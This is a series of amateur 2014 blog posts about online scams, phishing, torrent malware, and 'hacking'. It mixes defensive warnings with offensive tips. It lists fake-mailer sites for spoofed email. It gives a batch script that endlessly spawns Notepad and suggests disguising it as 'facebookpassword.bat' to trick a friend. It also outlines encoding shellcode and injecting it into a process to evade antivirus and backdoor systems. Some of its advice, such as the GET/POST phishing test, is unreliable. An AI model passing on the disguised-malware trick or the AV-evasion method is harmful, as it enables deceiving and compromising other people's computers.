Tuesday, 29 July 2014

Hacking systems by Offering 300$ .. (cAse study) ..!!

After many months of research and hardwork I didn't found anything intresting to write on, I finally decided to quit to click on "CREATE NEW POST" on my Blogger Dashboard..!!

But one intresting thing happened with me , which I thought that I should share with you people..

Scrolling my News Feed on facebook , I founded a link like "http://TheWeeklyJob.com/?id=24130
"
, Eager to know about the weekly job , I clicked the link and was redirected to official website "http://TheWeeklyJob.com" , where I was asked to sign up with my original details..

I am in this field for past 7 months , so never ever fill your right details in such mailcious websites , and I did the same.!! I mean everybody has a ..


So when i registered for the account on website , i was given 25$ as "bonus gift"(but not accessible)..:p

so 1st stage cleared..Sign Up complete ..
Now i have a account with 25$ in it which i can redeem only when I can make those 25$ to 300$ by begging my friends to click on a link which they provided me ..and every unique click added 10$ to my initial amount...i.e 25$+10$+10$..and so on ...


 Curosity to earn money was eating me up..so I sended that Dollars earning link to those 444 friends on facebook(I hardly know 100) , but , however , I was able to make 300$ in 1hr...!!


Now It was time to "redeem" my money..by clicking on "redeem my amount " link..
But It was not that easy.. As I thought , as soon as i clicked  , i was redirected to "Standard Charted bank's official webiste", just to gain my "trust" that whatever is going on , is right...!!

I filled the form to get a credit card from that bank...u knoe "CURIOSITY" :p..

After another tab opened and i was redirected to  a page that asked me to "Download" a '.exe' file of some "f**king software", which i will don't need in my entire life ..!!

After 3 Seconds from download , my AVG Antivirus(yes, i use it) showed me this kind of something-
 
  I understood what they were actually trying  to do...Now what we learnt...
1. At 1st stage , redirecting to "a good bank's website to gain trust"..
2. At 2nd stage , asking you to download "trojan".. Once you install it , " system hacked "...!! 

I think they should have used good crypters which also included digital signatures of AVG-Antiviruse....Well my system was not hacked.. !!

Stay alert and get this thing in your mind "I mean who gives you 300$ for free...troll"..!!


Guys , this is "Cyber Crime /Cyber Fraud" , whatever you say..!!
 
Stay Smart...Act Smart..!!! 

Tuesday, 3 June 2014

Hacking e-mail accounts through social engineering..!!

In the last post we all got to know that "SOCIAL ENGINEERING", as th name suggests is very much social and it is a attack that makes you socially and mentally ILL to think on your own and you follow the footsteps shown by the attacker and get trapped resulting in loosing money and personal details to the attacker .

Many of us, on a daily/weekly/monthly basis receive mails from unknown persons, from whom we never had a meeting nor a discussion , but still we receive mail from that person. HOW??

In today's world , it is very easy to get someone's e-mail id or phone number(prob. mobile number), so dear people you are being randomly choosen for the attack by the attacker .
He''ll(Attacker) first gather every information regarding you and then will compromise you on that basis.


Some people also believe these random e-mail offering "high package job offers" and "lottery of billions " and all other fake stuffs , and got trap ending losing all money and username and password of their e-mail accounts and sometimes bank account details also.

So,first step to safeguard yourself from such attacks is "ALWAYS SEE THE LINK AT THE TOP OF YOUR BROWSER BEFORE LOGGING INTO ANY E-MAIL ACCOUNT(there are possiblities that it must be a phishing page )".

Secondly, if you see the link is safe but there are still probabilities that your account details can be hacked(Yes,it's possible).Therefore check for the source code of the account login page and search for  the "ACTION", if it's equal to 'POST' then its real page and if its equal to 'GET' , then it's again a phishing page using "IDN Homographic attack".

Never click on link provided  by the e-mail message to enter in your e-mail account , always log in through original links and dont get trapped..!!


Stay Smart ..!! Act Smart ..!!

 

Tuesday, 13 May 2014

Social Engineering at it's peak..!!

Hello everyone..
I m here once again to tell you some real life scenario and real life frauds (technical frauds) . I m not gonna tell you about what all news channel broadcasts , the old stuff they only have related to frauds and crimes.

Today i gonna tell you such situations which actullay takes place with comman man and how the crime/fraud takes place with the normal people who have less/no knowledge regarding such cyber crimes.

We live in a digital world  where we use "E-mail" rather than postcards/letters etc etc.
Now , someday at sometime you got a mail from your "favourite celebrity" or "favourite sportsperson" or "from a grl" you always wanted to talk in college , you would feel very pleased and blessed enough to receive that e-mail. RIGHT ??

But one minute , do u really think that such busy personalities would have got time to mail YOU on the whole earth  with a population of BILLIONS .. !!

SO time for the truth ..ACTUALLY "you are being pranked" , by somewhat called "fake mailer" which are available for free online and anyone can send E-mail  from any mail -id to anyone.

There are many of such available online , such as -:
www.anonymailer.net
www.emkei.cz
www.deadfake.com
www.sendanonymousemail.com


These are the fake mailer used in criminal frauds and cyber crimes along with social engineering , the criminal gangs use random e-mails to send fake mails regarding Lotteries and Job offers . The people got trap under such frauds by replying to such mails , clicking on MALICIOUS link .(if any) , downloading attachments (if any).
The time they click on that mailicious link their personal information like IP-Address , Cookies etc etc get fetched up and the criminal gangs use them to send trojans and virus through which tey create a backdoor in your computers..!!

Sometimes , they send such mails that people either reply to them or else download their attachments.


SO never clik on such malicious links and always see the path of e-mail (who has send it , from which address has it come and where your reply will reach).

Remember , your Lottery/job lies in your own hand and hardwork rather than someone else.

Social engineering along with fake mail is good to prank friends but not to commit crimes , because in INDIA cyber criminal is sentenced for "3 years ".

Stay Smart...!! Act smart..!!

Wednesday, 30 April 2014

hAck the hAcker before he hAcks you..!!

Hey guys ..!!

I m very glad that people are reading my stuff and mailing me to write more..thanks a a lot . :-) ..This support was actually needed from your side ... !!!

Till now we have talked about antiviruses and the shit they produce in our computer systems ..!!

From now on WE"ll talk about some CooL hAcks and how to secure yourself from being getting hacked..!!

In your computer's wen we RIGHT CLICK on any file (mp3, video format , document) , the first option we see is "OPEN"..!!
 now if i say we can also hack that OPEN option... would it be interesting for you guys or not ..!!
 
so follow just simple steps to do that DIFFICULT task..!!

1. First of all open your Search panel  and search for "regedit "..Actually type "regedit" in search panel and a window pops up for admin privilages.. click YES and have some pateince  :p...

2.Click the first option on the left pane i.e "HKEY_CLASSES_ROOT" and it will open a bunch of folders in front of you .. don't b Afraid ..!

3.Now in  "HKEY_CLASSES_ROOT" saerch for "Folder" file and click on that ..!!

4.After clicking on the "folder " option u"ll see 4 options .. click on "shell" .

5.Great if u have reached upto shell .. click on "open" whose default value we want to change..

6 . As soon as you click on the "open " option , in the right side u 'll see the default value as "not set "..so just double click on it and name it according to your wish..

7. Now close thw window and be happy .. u have hacked the "open" option..

8. The next time you will right click on any file .. it wil display the name which u have sett ...:-)

so enjoy the new name and show it your friends and DO SOME SHOW OFF IN FRONT OF THEM .. :P ..


Stay smart and Act smart..!!

Wednesday, 16 April 2014

Making viruses..!!!

Hello everyone...
I wanna thank each one of u who are reading my blogs and giving me views....!!

for the past 3-4 posts we are talking about the SHIT that ANTIVIRUSES create , about crypters and all that stuff .. today i"ll be telling you WHAT a virus is ?? 
how it looks ?? 
how it is made ?? 
how does it executes ?? 


So




is basicaly min(2-3kb)/max(20-30kb) file that that infects your system with the malicious code that is written inside it . It might delete some files from the "windows" folder of your drive , start multiple applications at a particular time which might eat up your whole memory, or it might conatin such code that you need to install your windows again .
Alternatively , a virus is code which can harm your system to a much extent.so the next question arises how it is made ??
"BATCH SCRIPTING " is the language that we use to make "viruses"(most probably)...!!
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
- See more at: http://myhistoryweb.blogspot.com/2009/03/10-virus-notepad-script.html#sthash.enV9QmbJ.dpuf

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
- See more at: http://myhistoryweb.blogspot.com/2009/03/10-virus-notepad-script.html#sthash.enV9QmbJ.dpuf
Have a look -:

 @echo off 
:top 
start notepad
goto top 


this  4 line of commands in Batch Scripiting will boom up the notepad and it will start a million number of times. this is a simple virus..!

now how to execute thses commands..?? 
good question ...ryt !!    

Just copy this code in your notepad and save it as  "facebookpassword.bat" and give it yoyr friend ,,he willl be very happy when he will see this file but this happiness will not last for much time because the time he double clicks it "notepad" will be booming in his system like anyhting..!!

Why to Save the file in ".bat" format ..??
simple question ----> simple answer.
jus because the ".bat " extension files tell the computer to perform  some particular task(task here means the execution of the code that is written inside the file)..!!

so What all we learnt today -
what is a virus ..!!
how to make it ..!!
how does it works..!!
how much harm can it cause ..!!

next time i"talk about some biigger viruses thatb will completely destroy your system ..and your "paid version of antivirus will not be able to detect that(for sure)"..!!

Stay Smart..!! Act Smart ..!!











@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
- See more at: http://myhistoryweb.blogspot.com/2009/03/10-virus-notepad-script.html#sthash.enV9QmbJ.dpuf

Thursday, 10 April 2014

Torrent truth..!!

Hello .. once again .. guys..!!

Last time i told you about some crypter stuff and how they by pass ANTIVIRUS so called security as they are fully undetectable(FUD).

Today i"ll tell you about the "torrent truth"..(amazing)..right..!!
we all download many stuff from torrent whether they are games(NFS MOST WANTED, GTA, CALL OF DUTY,FIFA 2014 etc.etc.) or movies (1080p - HD,720p -HD ,blue-ray etc.etc)...

Have you ever thought the movies,the games you download are virus prone...!!!


At this time 3 questions come into my mind..
1.Who are the people who upload these movies or games ?
2.Why are they providing with you best quality movies and games ?
3.What is their benefit in that?

Now i"ll answer all the questions one by one ..

First of all , why any person would provide you movies with 1080p that too free , as we live in a world where nothing comes for free , so 1080p movies free download .. grow up ..guys !!
those are all criminal gangs that upload these movies and games for you..!!

Secondly , why they upload these stuff for free..??
it is simple as they bind their virus or trojans with the 1080p,720p movies and with setups of the games...which you enjoy while playing...but you don't know that the time you duble click on the "setup" icon..it creates a backdoor in your computer..which either installs a virus or trojan in your system.. !!



At last, if we talk about the benefit of the criminal gangs in that activity...it is very much clear that the backdoor created in your system will help them to provide the full access of your system to remote person..(GANG MEMBER)
 And the best thing about this is that "your antiviruses will not be able to detect the presence of viruses and trojans as we discussed earlier about FUD'S..."!!


So Download at Your own risk...from...

STAY SMART...!!....ACT SMART...!!

 



Monday, 7 April 2014

Hiee..everyone...
today i " ll tell you  one more thing that will enhance your knowledge regarding the bypassing of anti-virus security..!!

we"ll study the Concept of Code Injection - Ingeneric way to bypass AV(ANTI-VIRUS)...
 
We know that the exe files are going to detected by AVs. So we have to think in a another way...:-

And the another way is to : split the exe into two parts (not physically ofcourse)...
  1. The core code (the actual code that performs a specific task for eg. Bind shell
  2.   The interface - a mechanism that will inject the code into memory and execute that code.
So the functioning is something like this:
 
Injector
 
NOTE: U may be thinking that why I am saying encoded shellcode because if I use metasploit shellcodes there signatures may be in AVs. If I encode the shellcode with any available encoder in metasploit then AVs not able to decode it in a file and not able to detect it (if you don't understand it read the whole stuff again ...PLZZZ..?). Although in some cases (Eg. Avast may be with others also) AV not alert if you use shellcodes that are not encoded because AV think that txt file are lame files. But if you force fully scan the file than AV alert.

Second part of the concept is the interface that will inject the code into a process. Code injection is not a new concept (dll injection is one of the most popular example).

Note: All the things are generic and are not specific to any tool or shellcodes. Metasploit and shellcodes are used only to demonstrate the concept. You can also inject your codes "that are Undetectable to AV in exe mode" with this method and can bypass AV.

Things that you can do with this method:
  1. Can backdoor a process...
     2.Can provide many backup shells (every type)..    


so this is all u can do...I can do with the code injectors.....!!

Stay Smart ....At Smart..!!